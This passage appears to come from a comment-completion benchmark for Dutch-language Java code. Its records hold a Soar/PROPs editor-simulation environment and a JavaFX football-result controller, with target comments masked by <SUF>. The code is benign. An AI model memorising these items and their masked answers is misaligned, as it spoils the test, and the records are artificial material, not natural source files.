latency = STD_VISUAL_TIME;
break;
case "focus-on-word": case "focus-on-next-word":
if (action.equals("focus-on-word")) {
ed_task.line = new LinkedList<String>(Arrays.asList(ed_task.edits.get(0)[1].split("\\s")));
}
sTemp = "short";
if (ed_task.line.size() == 1 || ed_task.line.get(0).length() > 4) // If the word in the line is longer than 4 characters
sTemp = "long";
ed_task.set_vlist("single-word", ed_task.line.get(0), sTemp, "");
ed_task.line.remove(0);
latency = STD_VISUAL_TIME;
break;
case "esc-d": // Delete an element in the line
ed_task.text.get(ed_task.line_pos).remove(ed_task.cursor_pos);
latency = STD_MOTOR_TIME;
determine_v();
break;
case "type-text": case "type-text-enter": case "period-a": case "i": // Insert text into the line
if (!action.equals("type-text")) {
int pos = ed_task.line_pos;
for (int i=0; i<19-pos; ++i) {
ed_task.text.set(19-i, ed_task.text.get(18-i));
}
ed_task.text.set(pos, new LinkedList<String>());
}
else {
latency = val2.length() * STD_MOTOR_TIME;
}
if (!action.equals("period-a") && !action.equals("i")) {
List<String> text = ed_task.text.get(ed_task.line_pos);
temp = new LinkedList<String>(text.subList(0, ed_task.cursor_pos));
temp.addAll(Arrays.asList(val2.split("\\s")));
temp.addAll(text.subList(ed_task.cursor_pos, text.size()));
ed_task.text.set(ed_task.line_pos, temp);
if (action.equals("type-text-enter")) {
ed_task.cursor_pos = 0;
latency = (1 + val2.length()) * STD_MOTOR_TIME;
}
}
else {
latency = STD_VISUAL_TIME + ((action.equals("period-a") ? 3.0 : 2.0) * STD_MOTOR_TIME);
}
determine_v();
break;
case "substitute-ed": case "substitute-edt":
ed_task.text.set(ed_task.line_pos, substitute_insert(val2, val3, ed_task.text.get(ed_task.line_pos)));
latency = (val2.length() + val3.length() + (action.equals("substitute-ed") ? 5.0 : 4.0)) * STD_MOTOR_TIME;
ed_task.cursor_pos = 0;
determine_v();
break;
case "insert-ed": case "insert-edt":
sTemp = val3 + " " + val2;
ed_task.text.set(ed_task.line_pos, substitute_insert(val2, sTemp, ed_task.text.get(ed_task.line_pos)));
latency = (2.0*val2.length() + val3.length() + 1.0 + (action.equals("insert-ed") ? 5.0 : 4.0)) * STD_MOTOR_TIME;
ed_task.cursor_pos = 0;
determine_v();
break;
case "period-d": case "d": case "control-k-twice": case "control-k":
boolean wasEmpty = ed_task.text.get(ed_task.line_pos).size() == 0;
if (!action.equals("control-k") || wasEmpty) {
iTemp = ed_task.line_pos;
for (int i=0; i<19-iTemp; ++i) {
ed_task.text.set(i+iTemp, ed_task.text.get(i+iTemp+1));
}
ed_task.cursor_pos = 0;
}
if (action.equals("control-k") && wasEmpty) {
ed_task.text.set(ed_task.line_pos, new LinkedList<String>());
}
latency = action.equals("control-k") ? STD_MOTOR_TIME :
(action.equals("control-k-twice") ? (2.0 * STD_MOTOR_TIME) : (STD_VISUAL_TIME + (action.equals("period-d") ? 3.0 : 2.0) * STD_MOTOR_TIME));
determine_v();
break;
case "period-c": case "r":
ed_task.text.set(ed_task.line_pos, new LinkedList<String>());
latency = STD_VISUAL_TIME + ((action.equals("period-c") ? 3.0 : 2.0) * STD_MOTOR_TIME);
determine_v();
break;
case "period": case "control-z":
latency = STD_VISUAL_TIME + ((action.equals("period") ? 2.0 : 1.0) * STD_MOTOR_TIME);
break;
case "number-p":
ed_task.line_pos = Arrays.asList(numbers).indexOf(val2);
ed_task.cursor_pos = 0;
determine_v();
latency = STD_VISUAL_TIME + (2.0 * STD_MOTOR_TIME);
break;
case "t-word":
iTemp = ed_task.line_pos;
while (ed_task.text.get(iTemp).indexOf(val2) < 0) {
iTemp++;
}
ed_task.line_pos = iTemp;
ed_task.cursor_pos = 0;
latency = (5.0 + val2.length()) * STD_MOTOR_TIME;
determine_v();
break;
}
rep.addLatency(latency); // When a report ends from next-instruction, does not include the latency for next-instruction
for (int i=0; i<ed_task.vlist.length; ++i) {
try {
this.setInput(i,ed_task.vlist[i]);
} catch (Exception e) {
System.err.println("Wrong index....");
}
}
}
@Override
protected void user_createAgent() {
// Called from initAgent() and runDebug(), when the agent is created
ed_task = new ETask();//(1,1,current_sample);
rep = new Report();
this.clearReports();
}
@Override
protected void user_doExperiment() {
List<SaCondition> sa_conditions = new ArrayList<SaCondition>();
sa_conditions.add(new SaCondition("ED-ED-EMACS", new String[]{"ed", "ed", "emacs"}, new int[]{115, 54, 44, 42, 43, 28}));
sa_conditions.add(new SaCondition("EDT-EDT-EMACS", new String[]{"edt", "edt", "emacs"}, new int[]{115, 54, 55, 49, 43, 28}));
sa_conditions.add(new SaCondition("ED-EDT-EMACS", new String[]{"ed", "edt", "emacs"}, new int[]{115, 54, 63, 44, 41, 26}));
sa_conditions.add(new SaCondition("EDT-ED-EMACS", new String[]{"edt", "ed", "emacs"}, new int[]{115, 54, 46, 37, 41, 26}));
sa_conditions.add(new SaCondition("EMACS-EMACS-EMACS", new String[]{"emacs", "emacs", "emacs"}, new int[]{77, 37, 29, 23, 23, 21}));
for (SaCondition sac : sa_conditions) {
if (!this.initAgent())
break;
int task_count = 0;
rep.taskSetName = sac.name;
for (int i=0; i<1 && !this.hasError(); ++i) { // Each subject comes in for 6 'days'
int j = (int)(1800.0 / (double)sac.trials[i] + 0.5); // How many trials can fit into the 'day'
String condition = sac.conditions[i/2];
for (int k=0; k<j && !this.hasError(); ++k) {
task_name = condition;
this.setTask(task_name, task_name + "_" + Integer.toString(task_count + 1));
// Init report
rep.init();
rep.taskName = task_name;
rep.trialNum = i+1;
rep.editNum = k+1;
this.runAgent(); // Run until receiving the finish command
task_count = (task_count + 1) % 3;
if (!this.hasError()) { // abort potentially gets set in the updateEventHandler method
this.printReports();
System.out.println("Done: " + sac.name + ", " + condition + " " + Integer.toString(i+1) + "," + Integer.toString(k+1));
}
else {
System.out.println("ERROR RETURNED BY AGENT FOR " + condition + " " + Integer.toString(i+1) + "," + Integer.toString(k+1) + "!");
break;
}
}
}
if (this.hasError())
break;
}
//agent.ExecuteCommandLine("clog -c");
//this.agentError = false;
}
@Override
protected void user_errorListener(String arg0) {
System.err.println("ERROR DETECTED!");
}
@Override
protected void user_agentStart() {
// Init
//ed_task.init();
//int taskInd = getEditTaskIndex(this.taskSequenceName);
//if (taskInd != -1)
// ed_task.edits = new ArrayList<String[]>(edit_tasks.get(taskInd));
this.clearReports();
rep.init();
determine_v();
}
@Override
protected void user_agentStop() {
// Increment the task
if (inDebug) {
int currTaskInd = getEditTaskIndex(this.getTaskInstance());
currTaskInd = (currTaskInd + 1) % 3;
this.setTask(this.getTask(), this.getTask() + "_" + Integer.toString(currTaskInd + 1));
}
else {
user_updateTask();
}
}
@Override
protected void user_updateTask() {
ed_task.init(); // Resets the text to be edited
ed_task.edits = new ArrayList<String[]>(edit_tasks.get(getEditTaskIndex(this.getTaskInstance())));
}
}
| AaronCWacker/PROPs | domains/editors/workspace/EditorsEnvironment/src/edu/umich/eecs/soar/props/editors/EditorsWorld.java | 6,311 | // Delete an element in the line
| line_comment | nl | package edu.umich.eecs.soar.props.editors;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.LinkedList;
import java.util.List;
import edu.umich.eecs.soar.propsutil.LearnConfig;
import edu.umich.eecs.soar.propsutil.PROPsEnvironment;
public class EditorsWorld extends PROPsEnvironment {
private static double STD_MOTOR_TIME = 0.25,
STD_VISUAL_TIME = 0.25;
private ETask ed_task;
private Report rep;
//private int task_count; // The index of edit_tasks to use next
private String task_name;
private List<ArrayList<String[]>> edit_tasks;
private String[] numbers;
public boolean inDebug = false;
EditorsWorld() {
String proj_dir = "/home/bryan/Documents/GitHub_Bryan-Stearns/PROPs/domains/editors/";
String props_dir = "/home/bryan/Documents/GitHub_Bryan-Stearns/PROPs/PROPsAgent/";
this.setAgentName("EditorsAgent");
this.setPropsDir(props_dir);
this.setCondChunkFile(proj_dir + "editors_agent_condspread_chunks.soar");
this.setAddressChunkFile(proj_dir + "editors_agent_L1_chunks.soar");
this.setFetchSeqFile(proj_dir + "editors_agent_fetch_procedures.soar");
this.setInstructionsFile(proj_dir + "editors_agent_instructions.soar");
this.setSoarAgentFile(proj_dir + "editors_agent.soar");
this.setIOSize(4, 3);
this.setUserAgentFiles(Arrays.asList("/home/bryan/Documents/GitHub_Bryan-Stearns/PROPs/domains/lib_actransfer_interface.soar",
proj_dir + "editors_agent_smem.soar"));
this.edit_tasks = new LinkedList<ArrayList<String[]>>();
this.edit_tasks.add(new ArrayList<String[]>(6));
edit_tasks.get(0).add(new String[]{"replace-word", "vader", "moeder", "one"});
edit_tasks.get(0).add(new String[]{"insert-word", "inhoud", "nieuwe", "three"});
edit_tasks.get(0).add(new String[]{"delete-word", "slome", "", "five"});
edit_tasks.get(0).add(new String[]{"replace-line", "ebooks en sociale medi", "electronisch boeken en andere vormen van sociale media", "eight"});
edit_tasks.get(0).add(new String[]{"delete-line", "of the rings trilogie", "", "fifteen"});
edit_tasks.get(0).add(new String[]{"insert-line", "Oscar of niet Rowling zal er niet om rouwen want de buit is al binnen", "net zo groot als tien jaar geleden", "eighteen"});
this.edit_tasks.add(new ArrayList<String[]>(6));
edit_tasks.get(1).add(new String[]{"insert-word", "pers", "muskieten", "two"});
edit_tasks.get(1).add(new String[]{"replace-line", "fans mochten een blik op de inhoud werpen onder voorwaarde van strikte geheimhouding", "fans hadden de gelegenheid om alvast een kijkje te nemen", "three"});
edit_tasks.get(1).add(new String[]{"replace-word", "medi", "media", "eight"});
edit_tasks.get(1).add(new String[]{"delete-word", "eindelijk", "", "fourteen"});
edit_tasks.get(1).add(new String[]{"delete-line", "We all know what happened in the end but", "", "sixteen"});
edit_tasks.get(1).add(new String[]{"insert-line", "kassucces De spanning is daarom groot dit jaar", "succes Het zal Roling waarschijnlijk een worst wezen", "seventeen"});
this.edit_tasks.add(new ArrayList<String[]>(6));
edit_tasks.get(2).add(new String[]{"replace-line", "Geestelijk vader van de tovenaarsleerling JK Rowling lanceert morgen de site pottermorecom", "Wederom is het tijd voor een nieuwe website over harry potter maar deze keer van Rowling zelf", "one"});
edit_tasks.get(2).add(new String[]{"insert-word", "paar", "klein", "two"});
edit_tasks.get(2).add(new String[]{"delete-word", "nieuwe", "", "five"});
edit_tasks.get(2).add(new String[]{"delete-line", "Op dit moment staat de laatste film in de serie op het punt om in de bioscoop", "", "twelve"});
edit_tasks.get(2).add(new String[]{"replace-word", "Oscar", "prijs", "thirteen"});
edit_tasks.get(2).add(new String[]{"insert-line", "kassucces De spanning is daarom groot dit jaar", "And here we have another meaningless line that makes this text een more unreadable", "seventeen"});
numbers = new String[]{"one", "two", "three", "four", "five", "six", "seven", "eight", "nine", "ten",
"eleven", "twelve", "thirteen", "fourteen", "fifteen", "sixteen", "seventeen", "eighteen", "nineteen", "twenty"};
}
public void runEditorsDebug(String task, int taskNum, LearnConfig config) {
String taskSeq = task + "_" + (taskNum+1);
task_name = task;
//task_count = taskNum;
inDebug = true;
this.runDebug(task, taskSeq, config);
inDebug = false;
}
private int getEditTaskIndex(String taskSeq) {
if (taskSeq.contains("_1")) {
return 0;
}
else if (taskSeq.contains("_2")) {
return 1;
}
else if (taskSeq.contains("_3")) {
return 2;
}
else return -1; // Error, shouldn't happen
}
// Helper functions specifically for the Editors environment
private void determine_v() {
List<String> L = ed_task.text.get(ed_task.line_pos);
String line = numbers[ed_task.line_pos];
String word;
if (L.size() <= ed_task.cursor_pos)
word = "eol";
else
word = ed_task.text.get(ed_task.line_pos).get(ed_task.cursor_pos);
ed_task.set_vlist("word", word, "nil", line);
}
private List<String> substitute_insert(String old_element, String new_element, List<String> l) {
if (l == null || l.size() == 0)
return l;
return new LinkedList<String>(Arrays.asList(String.join(" ", l).replaceFirst(old_element, new_element).split("\\s+")));
}
@Override
protected void user_outputListener(List<String> outputs) {
// Get the output
String action = outputs.get(0);
String val2 = outputs.get(1);
String val3 = outputs.get(2);
double latency = 0.05;
// Generate the corresponding input
int iTemp;
String sTemp;
List<String> temp;
switch (rep.state) {
case "ll-noread":
if (action.equals("read-instruction")) {
rep.state = "ll";
rep.task = ed_task.edits.get(0)[0];
}
else {
System.out.println("Something went wrong...");
}
break;
case "ll":
if (action.equals("number-p") || action.equals("enter") || action.equals("t-word")) {
rep.ll = System.nanoTime() - rep.strt;
rep.state = "ll-motor";
}
if (action.equals("read-instruction") && ed_task.edits.get(0)[3].equals(numbers[ed_task.line_pos])) {
if (rep.state.equals("ll")) {
rep.ll = System.nanoTime()-rep.strt;
rep.state = "mt";
rep.temp = System.nanoTime();
}
}
break;
case "ll-motor":
if (action.equals("read-instruction")) {
rep.state = "mt";
rep.temp = System.nanoTime();
}
break;
case "mt":
temp = new ArrayList<String>(Arrays.asList("substitute-ed", "substitute-edt", "insert-ed", "insert-edt",
"period-d", "type-text", "type-text-enter", "d", "control-k", "control-k-twice", "esc-d"));
if (temp.contains(action)) {
rep.state = "mt-motor";
rep.mt = System.nanoTime() - rep.temp;
}
break;
case "mt-motor":
if (action.equals("next-instruction")) {
rep.state = "ll";
//rep.addLatency(STD_VISUAL_TIME); // Could move latency for 'next-instruction' here so it ends up in the report, but Taatgen doesn't?
this.addReport(rep.toString());
if (ed_task.edits.size() <= 1)
rep.task = "nil";
else
rep.task = ed_task.edits.get(1)[0];
rep.strt = System.nanoTime();
rep.latencies = 0.0;
}
break;
case "end":
break; // Do nothing (not in original lisp code - never gets called anyway)
}
switch (action) {
case "enter": case "control-n":
ed_task.line_pos++;
ed_task.cursor_pos = 0;
latency = (action.equals("enter")) ? (STD_MOTOR_TIME + STD_VISUAL_TIME) : STD_MOTOR_TIME;
determine_v();
break;
case "esc-f": case "move-attention-right":
latency = (action.equals("esc-f")) ? (2.0 * STD_MOTOR_TIME) : STD_VISUAL_TIME;
ed_task.cursor_pos++;
determine_v();
break;
case "read-screen":
determine_v();
latency = STD_VISUAL_TIME;
break;
case "read-instruction":
ed_task.set_vlist(ed_task.edits.get(0));
latency = STD_VISUAL_TIME;
break;
case "next-instruction":
if (ed_task.edits.size() == 0)
break; // end
ed_task.edits.remove(0);
if (ed_task.edits.size() > 0) {
ed_task.set_vlist(ed_task.edits.get(0));
}
else {
ed_task.set_vlist("end", "end2", "end3", "end4");
rep.state = "end";
}
latency = STD_VISUAL_TIME;
break;
case "focus-on-word": case "focus-on-next-word":
if (action.equals("focus-on-word")) {
ed_task.line = new LinkedList<String>(Arrays.asList(ed_task.edits.get(0)[1].split("\\s")));
}
sTemp = "short";
if (ed_task.line.size() == 1 || ed_task.line.get(0).length() > 4) // If the word in the line is longer than 4 characters
sTemp = "long";
ed_task.set_vlist("single-word", ed_task.line.get(0), sTemp, "");
ed_task.line.remove(0);
latency = STD_VISUAL_TIME;
break;
case "esc-d": // Delete an<SUF>
ed_task.text.get(ed_task.line_pos).remove(ed_task.cursor_pos);
latency = STD_MOTOR_TIME;
determine_v();
break;
case "type-text": case "type-text-enter": case "period-a": case "i": // Insert text into the line
if (!action.equals("type-text")) {
int pos = ed_task.line_pos;
for (int i=0; i<19-pos; ++i) {
ed_task.text.set(19-i, ed_task.text.get(18-i));
}
ed_task.text.set(pos, new LinkedList<String>());
}
else {
latency = val2.length() * STD_MOTOR_TIME;
}
if (!action.equals("period-a") && !action.equals("i")) {
List<String> text = ed_task.text.get(ed_task.line_pos);
temp = new LinkedList<String>(text.subList(0, ed_task.cursor_pos));
temp.addAll(Arrays.asList(val2.split("\\s")));
temp.addAll(text.subList(ed_task.cursor_pos, text.size()));
ed_task.text.set(ed_task.line_pos, temp);
if (action.equals("type-text-enter")) {
ed_task.cursor_pos = 0;
latency = (1 + val2.length()) * STD_MOTOR_TIME;
}
}
else {
latency = STD_VISUAL_TIME + ((action.equals("period-a") ? 3.0 : 2.0) * STD_MOTOR_TIME);
}
determine_v();
break;
case "substitute-ed": case "substitute-edt":
ed_task.text.set(ed_task.line_pos, substitute_insert(val2, val3, ed_task.text.get(ed_task.line_pos)));
latency = (val2.length() + val3.length() + (action.equals("substitute-ed") ? 5.0 : 4.0)) * STD_MOTOR_TIME;
ed_task.cursor_pos = 0;
determine_v();
break;
case "insert-ed": case "insert-edt":
sTemp = val3 + " " + val2;
ed_task.text.set(ed_task.line_pos, substitute_insert(val2, sTemp, ed_task.text.get(ed_task.line_pos)));
latency = (2.0*val2.length() + val3.length() + 1.0 + (action.equals("insert-ed") ? 5.0 : 4.0)) * STD_MOTOR_TIME;
ed_task.cursor_pos = 0;
determine_v();
break;
case "period-d": case "d": case "control-k-twice": case "control-k":
boolean wasEmpty = ed_task.text.get(ed_task.line_pos).size() == 0;
if (!action.equals("control-k") || wasEmpty) {
iTemp = ed_task.line_pos;
for (int i=0; i<19-iTemp; ++i) {
ed_task.text.set(i+iTemp, ed_task.text.get(i+iTemp+1));
}
ed_task.cursor_pos = 0;
}
if (action.equals("control-k") && wasEmpty) {
ed_task.text.set(ed_task.line_pos, new LinkedList<String>());
}
latency = action.equals("control-k") ? STD_MOTOR_TIME :
(action.equals("control-k-twice") ? (2.0 * STD_MOTOR_TIME) : (STD_VISUAL_TIME + (action.equals("period-d") ? 3.0 : 2.0) * STD_MOTOR_TIME));
determine_v();
break;
case "period-c": case "r":
ed_task.text.set(ed_task.line_pos, new LinkedList<String>());
latency = STD_VISUAL_TIME + ((action.equals("period-c") ? 3.0 : 2.0) * STD_MOTOR_TIME);
determine_v();
break;
case "period": case "control-z":
latency = STD_VISUAL_TIME + ((action.equals("period") ? 2.0 : 1.0) * STD_MOTOR_TIME);
break;
case "number-p":
ed_task.line_pos = Arrays.asList(numbers).indexOf(val2);
ed_task.cursor_pos = 0;
determine_v();
latency = STD_VISUAL_TIME + (2.0 * STD_MOTOR_TIME);
break;
case "t-word":
iTemp = ed_task.line_pos;
while (ed_task.text.get(iTemp).indexOf(val2) < 0) {
iTemp++;
}
ed_task.line_pos = iTemp;
ed_task.cursor_pos = 0;
latency = (5.0 + val2.length()) * STD_MOTOR_TIME;
determine_v();
break;
}
rep.addLatency(latency); // When a report ends from next-instruction, does not include the latency for next-instruction
for (int i=0; i<ed_task.vlist.length; ++i) {
try {
this.setInput(i,ed_task.vlist[i]);
} catch (Exception e) {
System.err.println("Wrong index....");
}
}
}
@Override
protected void user_createAgent() {
// Called from initAgent() and runDebug(), when the agent is created
ed_task = new ETask();//(1,1,current_sample);
rep = new Report();
this.clearReports();
}
@Override
protected void user_doExperiment() {
List<SaCondition> sa_conditions = new ArrayList<SaCondition>();
sa_conditions.add(new SaCondition("ED-ED-EMACS", new String[]{"ed", "ed", "emacs"}, new int[]{115, 54, 44, 42, 43, 28}));
sa_conditions.add(new SaCondition("EDT-EDT-EMACS", new String[]{"edt", "edt", "emacs"}, new int[]{115, 54, 55, 49, 43, 28}));
sa_conditions.add(new SaCondition("ED-EDT-EMACS", new String[]{"ed", "edt", "emacs"}, new int[]{115, 54, 63, 44, 41, 26}));
sa_conditions.add(new SaCondition("EDT-ED-EMACS", new String[]{"edt", "ed", "emacs"}, new int[]{115, 54, 46, 37, 41, 26}));
sa_conditions.add(new SaCondition("EMACS-EMACS-EMACS", new String[]{"emacs", "emacs", "emacs"}, new int[]{77, 37, 29, 23, 23, 21}));
for (SaCondition sac : sa_conditions) {
if (!this.initAgent())
break;
int task_count = 0;
rep.taskSetName = sac.name;
for (int i=0; i<1 && !this.hasError(); ++i) { // Each subject comes in for 6 'days'
int j = (int)(1800.0 / (double)sac.trials[i] + 0.5); // How many trials can fit into the 'day'
String condition = sac.conditions[i/2];
for (int k=0; k<j && !this.hasError(); ++k) {
task_name = condition;
this.setTask(task_name, task_name + "_" + Integer.toString(task_count + 1));
// Init report
rep.init();
rep.taskName = task_name;
rep.trialNum = i+1;
rep.editNum = k+1;
this.runAgent(); // Run until receiving the finish command
task_count = (task_count + 1) % 3;
if (!this.hasError()) { // abort potentially gets set in the updateEventHandler method
this.printReports();
System.out.println("Done: " + sac.name + ", " + condition + " " + Integer.toString(i+1) + "," + Integer.toString(k+1));
}
else {
System.out.println("ERROR RETURNED BY AGENT FOR " + condition + " " + Integer.toString(i+1) + "," + Integer.toString(k+1) + "!");
break;
}
}
}
if (this.hasError())
break;
}
//agent.ExecuteCommandLine("clog -c");
//this.agentError = false;
}
@Override
protected void user_errorListener(String arg0) {
System.err.println("ERROR DETECTED!");
}
@Override
protected void user_agentStart() {
// Init
//ed_task.init();
//int taskInd = getEditTaskIndex(this.taskSequenceName);
//if (taskInd != -1)
// ed_task.edits = new ArrayList<String[]>(edit_tasks.get(taskInd));
this.clearReports();
rep.init();
determine_v();
}
@Override
protected void user_agentStop() {
// Increment the task
if (inDebug) {
int currTaskInd = getEditTaskIndex(this.getTaskInstance());
currTaskInd = (currTaskInd + 1) % 3;
this.setTask(this.getTask(), this.getTask() + "_" + Integer.toString(currTaskInd + 1));
}
else {
user_updateTask();
}
}
@Override
protected void user_updateTask() {
ed_task.init(); // Resets the text to be edited
ed_task.edits = new ArrayList<String[]>(edit_tasks.get(getEditTaskIndex(this.getTaskInstance())));
}
}
|
96543_0 | package controllers;
import helpers.StateManager;
import javafx.scene.Scene;
import javafx.scene.control.*;
import javafx.stage.Stage;
import models.Competitie;
import models.Team;
import models.Wedstrijd;
import repositories.CompetitieRepository;
/**
* Logica van het "wedstrijdUitslag"-scherm
*
* @author Abdul Vahip Zor
*/
public class WedstrijdUitslagController extends BaseController {
private Label wedstrijdUitslagTitel;
private Label competitieLabel;
private ComboBox<Competitie> competitie;
private DatePicker datePicker;
private Label datePickerLabel;
private Label thuisTeamLabel;
private ComboBox<Team> thuisTeam;
private Label uitTeamLabel;
private ComboBox<Team> uitTeam;
private Label scoreThuisLabel;
private TextField scoreThuis;
private Label scoreUitLabel;
private TextField scoreUit;
private Button uitslagAanmaken;
private Wedstrijd wedstrijd;
private CompetitieRepository competitieRepository;
private Scene scene;
private Stage stage;
public void initialize() {
competitieRepository = StateManager.getCompetitieRepository();
for (int i = 0; i < competitieRepository.getAll().size(); i++) {
competitie.getItems().add(competitieRepository.getAll().get(i));
}
competitie.getSelectionModel().selectFirst();
if (competitieRepository.getAll().size() != 0) {
StateManager.setHuidigeCompetitie(competitie.getValue());
for (int i = 0; i < StateManager.getHuidigeCompetitie().getTeams().size(); i++) {
if (StateManager.getHuidigeCompetitie().getTeam(i) != uitTeam.getValue()) {
thuisTeam.getItems().add(StateManager.getHuidigeCompetitie().getTeam(i));
}
}
for (int i = 0; i < StateManager.getHuidigeCompetitie().getTeams().size(); i++) {
if (StateManager.getHuidigeCompetitie().getTeam(i) != thuisTeam.getValue()) {
uitTeam.getItems().add(StateManager.getHuidigeCompetitie().getTeam(i));
}
}
StateManager.setHuidigeTeamThuis(thuisTeam.getValue());
StateManager.setHuidigeTeamUit(uitTeam.getValue());
}
competitie.setOnAction(t -> {
if (competitieRepository.getAll().size() != 0) {
StateManager.setHuidigeCompetitie(competitie.getValue());
System.out.println(StateManager.getHuidigeCompetitie());
thuisTeam.getItems().clear();
uitTeam.getItems().clear();
for (int i = 0; i < StateManager.getHuidigeCompetitie().getTeams().size(); i++) {
thuisTeam.getItems().add(StateManager.getHuidigeCompetitie().getTeam(i));
if (thuisTeam.getValue() == uitTeam.getValue()) {
thuisTeam.getItems().remove(thuisTeam.getValue());
}
}
for (int i = 0; i < StateManager.getHuidigeCompetitie().getTeams().size(); i++) {
if (StateManager.getHuidigeCompetitie().getTeam(i) != thuisTeam.getValue()) {
uitTeam.getItems().add(StateManager.getHuidigeCompetitie().getTeam(i));
uitTeam.getSelectionModel().selectFirst();
}
}
StateManager.setHuidigeTeamThuis(thuisTeam.getValue());
StateManager.setHuidigeTeamUit(uitTeam.getValue());
}
});
thuisTeam.getSelectionModel().selectFirst();
uitTeam.getSelectionModel().selectFirst();
uitslagAanmaken.setOnAction(t -> {
if (competitie.getValue() == null || thuisTeam.getValue() == null || uitTeam.getValue() == null || datePicker.getValue() == null || scoreThuis.getText().isEmpty() || scoreUit.getText().isEmpty()) {
System.out.println("Error : Niet alle velden zijn ingevuld");
} else {
if (datePicker.getValue() == null) {
datePicker.setStyle("-fx-border-color: red");
}
if (scoreThuis.getText().isEmpty()) {
scoreThuis.setStyle("-fx-border-color: red");
}
if (scoreUit.getText().isEmpty()) {
scoreUit.setStyle("-fx-border-color: red");
} else {
wedstrijd = new Wedstrijd(thuisTeam.getValue(), uitTeam.getValue(), Integer.parseInt(scoreThuis.getText()), Integer.parseInt(scoreUit.getText()), datePicker.getValue());
StateManager.getHuidigeCompetitie().setWedstrijd(wedstrijd);
System.out.println(StateManager.getHuidigeCompetitie().getWedstrijden());
}
}
});
}
public Scene getScene() {
return scene;
}
public void setScene(Scene scene) {
this.scene = scene;
}
public Stage getStage() {
return stage;
}
public void setStage(Stage stage) {
this.stage = stage;
}
public void setWedstrijdUitslagTitel(Label wedstrijdUitslagTitel) {
this.wedstrijdUitslagTitel = wedstrijdUitslagTitel;
}
public void setThuisTeam(ComboBox<Team> thuisTeam) {
this.thuisTeam = thuisTeam;
}
public void setUitTeam(ComboBox<Team> uitTeam) {
this.uitTeam = uitTeam;
}
public void setScoreThuis(TextField scoreThuis) {
this.scoreThuis = scoreThuis;
}
public void setScoreUit(TextField scoreUit) {
this.scoreUit = scoreUit;
}
public void setUitslagAanmaken(Button uitslagAanmaken) {
this.uitslagAanmaken = uitslagAanmaken;
}
public void setCompetitieLabel(Label competitieLabel) {
this.competitieLabel = competitieLabel;
}
public void setCompetitie(ComboBox<Competitie> competitie) {
this.competitie = competitie;
}
public void setThuisTeamLabel(Label thuisTeamLabel) {
this.thuisTeamLabel = thuisTeamLabel;
}
public void setUitTeamLabel(Label uitTeamLabel) {
this.uitTeamLabel = uitTeamLabel;
}
public void setScoreThuisLabel(Label scoreThuisLabel) {
this.scoreThuisLabel = scoreThuisLabel;
}
public void setScoreUitLabel(Label scoreUitLabel) {
this.scoreUitLabel = scoreUitLabel;
}
public void setDatePicker(DatePicker datePicker) {
this.datePicker = datePicker;
}
public void setDatePickerLabel(Label datePickerLabel) {
this.datePickerLabel = datePickerLabel;
}
} | AbdulZor/Competition-Management | src/controllers/WedstrijdUitslagController.java | 1,994 | /**
* Logica van het "wedstrijdUitslag"-scherm
*
* @author Abdul Vahip Zor
*/ | block_comment | nl | package controllers;
import helpers.StateManager;
import javafx.scene.Scene;
import javafx.scene.control.*;
import javafx.stage.Stage;
import models.Competitie;
import models.Team;
import models.Wedstrijd;
import repositories.CompetitieRepository;
/**
* Logica van het<SUF>*/
public class WedstrijdUitslagController extends BaseController {
private Label wedstrijdUitslagTitel;
private Label competitieLabel;
private ComboBox<Competitie> competitie;
private DatePicker datePicker;
private Label datePickerLabel;
private Label thuisTeamLabel;
private ComboBox<Team> thuisTeam;
private Label uitTeamLabel;
private ComboBox<Team> uitTeam;
private Label scoreThuisLabel;
private TextField scoreThuis;
private Label scoreUitLabel;
private TextField scoreUit;
private Button uitslagAanmaken;
private Wedstrijd wedstrijd;
private CompetitieRepository competitieRepository;
private Scene scene;
private Stage stage;
public void initialize() {
competitieRepository = StateManager.getCompetitieRepository();
for (int i = 0; i < competitieRepository.getAll().size(); i++) {
competitie.getItems().add(competitieRepository.getAll().get(i));
}
competitie.getSelectionModel().selectFirst();
if (competitieRepository.getAll().size() != 0) {
StateManager.setHuidigeCompetitie(competitie.getValue());
for (int i = 0; i < StateManager.getHuidigeCompetitie().getTeams().size(); i++) {
if (StateManager.getHuidigeCompetitie().getTeam(i) != uitTeam.getValue()) {
thuisTeam.getItems().add(StateManager.getHuidigeCompetitie().getTeam(i));
}
}
for (int i = 0; i < StateManager.getHuidigeCompetitie().getTeams().size(); i++) {
if (StateManager.getHuidigeCompetitie().getTeam(i) != thuisTeam.getValue()) {
uitTeam.getItems().add(StateManager.getHuidigeCompetitie().getTeam(i));
}
}
StateManager.setHuidigeTeamThuis(thuisTeam.getValue());
StateManager.setHuidigeTeamUit(uitTeam.getValue());
}
competitie.setOnAction(t -> {
if (competitieRepository.getAll().size() != 0) {
StateManager.setHuidigeCompetitie(competitie.getValue());
System.out.println(StateManager.getHuidigeCompetitie());
thuisTeam.getItems().clear();
uitTeam.getItems().clear();
for (int i = 0; i < StateManager.getHuidigeCompetitie().getTeams().size(); i++) {
thuisTeam.getItems().add(StateManager.getHuidigeCompetitie().getTeam(i));
if (thuisTeam.getValue() == uitTeam.getValue()) {
thuisTeam.getItems().remove(thuisTeam.getValue());
}
}
for (int i = 0; i < StateManager.getHuidigeCompetitie().getTeams().size(); i++) {
if (StateManager.getHuidigeCompetitie().getTeam(i) != thuisTeam.getValue()) {
uitTeam.getItems().add(StateManager.getHuidigeCompetitie().getTeam(i));
uitTeam.getSelectionModel().selectFirst();
}
}
StateManager.setHuidigeTeamThuis(thuisTeam.getValue());
StateManager.setHuidigeTeamUit(uitTeam.getValue());
}
});
thuisTeam.getSelectionModel().selectFirst();
uitTeam.getSelectionModel().selectFirst();
uitslagAanmaken.setOnAction(t -> {
if (competitie.getValue() == null || thuisTeam.getValue() == null || uitTeam.getValue() == null || datePicker.getValue() == null || scoreThuis.getText().isEmpty() || scoreUit.getText().isEmpty()) {
System.out.println("Error : Niet alle velden zijn ingevuld");
} else {
if (datePicker.getValue() == null) {
datePicker.setStyle("-fx-border-color: red");
}
if (scoreThuis.getText().isEmpty()) {
scoreThuis.setStyle("-fx-border-color: red");
}
if (scoreUit.getText().isEmpty()) {
scoreUit.setStyle("-fx-border-color: red");
} else {
wedstrijd = new Wedstrijd(thuisTeam.getValue(), uitTeam.getValue(), Integer.parseInt(scoreThuis.getText()), Integer.parseInt(scoreUit.getText()), datePicker.getValue());
StateManager.getHuidigeCompetitie().setWedstrijd(wedstrijd);
System.out.println(StateManager.getHuidigeCompetitie().getWedstrijden());
}
}
});
}
public Scene getScene() {
return scene;
}
public void setScene(Scene scene) {
this.scene = scene;
}
